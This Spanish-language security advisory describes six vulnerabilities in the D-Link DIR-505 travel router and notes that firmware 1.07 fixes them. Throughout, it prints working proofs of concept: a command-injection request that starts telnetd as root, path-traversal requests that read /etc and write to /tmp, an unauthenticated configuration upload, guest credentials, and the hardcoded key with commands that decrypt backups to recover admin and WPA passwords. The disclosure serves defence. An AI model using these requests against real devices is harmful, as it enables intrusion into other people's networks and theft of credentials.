Se
han publicado seis vulnerabilidades que afectan al dispositivo D-Link DIR-505
Wireless Router. Los problemas podrían permitir la revelación de información
sensible, inyección de comandos, acceder a los ficheros del dispositivo, elevar privilegios y eludir
restricciones de seguridad.
D-Link DIR-505 Wireless Router es
un dispositivo portátil y de fácil manejo pensado para llevar de viaje y
ampliar el alcance de cualquier red cableada mediante la creación de una red
Wifi.
Alessandro Di Pinto ha
descubierto múltiples errores de seguridad en los dispositivos D-Link DIR-500
que podrían ser aprovechados por un atacante en la misma red local. Son los
siguientes:
- un error de falta de
comprobación del parámetro de entrada 'ip_addr'
proporcionado por el usuario en la utilidad 'Ping Test' de la página '/System_Check.htm'
podría ser aprovechada por un atacante autenticado para ejecutar comandos
arbitrarios con privilegios de root.
Se propone la siguiente prueba de concepto
que permitiría iniciar el demonio de telnet en el dispositivo:
POST /my_cgi.cgi HTTP/1.1
Host: <DIRECCION-IP>
Cookie: uid=<COOKIE-VALIDA>
Content-Length: 55
request=ping_test&ip_addr=127.0.0.1;
/usr/sbin/telnetd;
- existe una vulnerabilidad de escalada de directorios en la interfaz web del
puerto 8181 para explorar el contenido de una unidad USB conectada al dispositivo
podría permitir a un atacante autenticado acceder a todos los ficheros del
sistema. La siguiente PoC permitiría el acceso al directorio /etc:
http://<DIRECCION-IP>:8181/dws/api/ListFile?
id=admin&tok=&volid=1&path=usb_dev/usb_A1/../../../../etc
- otra vulnerabilidad de escalada de directorios relacionada con el
parámetro 'path' de la utilidad '/dws/api/UploadFile'
permitiría a un atacante autenticado subir un fichero desde una unidad USB
conectada a un directorio arbitrario del dispositivo. Prueba de concepto para
subir un fichero de texto al directorio /tmp
POST /dws/api/UploadFile?0.35494315220771677 HTTP/1.1
Host: <DIRECCION-IP>:8181
Cookie: uid=<COOKIE-VALIDA>
Content-Type: multipart/form-data;
boundary=---------------------------736034324104825609817274318
Content-Length: 1179
-----------------------------736034324104825609817274318
Content-Disposition: form-data;
name="id"
admin
-----------------------------736034324104825609817274318
Content-Disposition: form-data;
name="tok"
-----------------------------736034324104825609817274318
Content-Disposition: form-data;
name="volid"
1
-----------------------------736034324104825609817274318
Content-Disposition: form-data;
name="path"
usb_dev/usb_A1/../../../../../../../../../tmp/
-----------------------------736034324104825609817274318
Content-Disposition: form-data;
name="filename"
exploit.txt
-----------------------------736034324104825609817274318
Content-Disposition: form-data;
name="upload_file"; filename="test.txt"
Content-Type: text/plain
malicious text
-----------------------------736034324104825609817274318--
- una falta de comprobación de
permisos de usuario permitiría elevar privilegios utilizando una cookie válida generada
por el usuario invitado (user: guest, password: guest). Se podría utilizar
dicha cookie para explotar las vulnerabilidades anteriores a pesar de que dicho
usuario no tiene permisos para ejecutar acciones como subir ficheros al
dispositivo.
- un error de falta de
comprobación de autenticación en 'my_cgi.cgi'
al procesa peticiones HTTP 'multipart/form-data'
podría permitir eludir restricciones de seguridad y acceder a funcionalidades
del dispositivo sin necesidad de autenticación. Como prueba de esta vulnerabilidad
se presenta una PoC que permitiría a un atacante sin autenticar cargar un
fichero de configuración en el dispositivo:
POST /my_cgi.cgi HTTP/1.1
Host: <DIRECCION-IP>
Cookie: uid=<COOKIE-VALIDA>
Content-Type: multipart/form-data;
boundary=---------------------------4318828241986447042487864450
Content-Length: 382
-----------------------------4318828241986447042487864450
Content-Disposition: form-data;
name="which_action"
load_conf
-----------------------------4318828241986447042487864450
Content-Disposition: form-data;
name="file";
filename="attacker-config.bin"
Content-Type: text/plain
<NUEVA-CONFIGURACIOM-PARA-EL-DISPOSITIVO>
-----------------------------4318828241986447042487864450--
- el fichero de copia de seguridad
de la configuración del dispositivo es encriptado de forma débil con la
contraseña 'sw5-superman' y se conoce
que tiene una cabecera de 84 bytes. Un atacante podría crear su propio fichero
de configuración encriptando las entradas con dicha clave y creando una
cabecera con la utilidad 'imghdr' y
subirlo al dispositivo a través de la vulnerabilidad anteriormente descrita
para eludir restricciones. También podría obtener el fichero del dispositivo y
descubrir información sensible (como la contraseña de administrador o la clave
WPA) a través de los siguientes comandos:
# Eliminar los 84 bytes de cabecera
dd if=config-file of=config-file-no-header bs=84 skip=1
# Desencriptar el contenido
ccrypt -d -K sw5-superman config-file-no-header
Las vulnerabilidades afectan al
dispositivo D-Link DIR-505 Wireless Router con firmware 1.06, aunque otras
versiones anteriores y otros dispositivos también podrían estar comprometidos.
D-Link ha publicado una
actualización de firmware (1.07) en su página web y FTP oficial, que corrige
los errores anteriormente expuestos.
Más información:
Multiple vulnerabilities on D-Link Dir-505
devices
Juan José Ruiz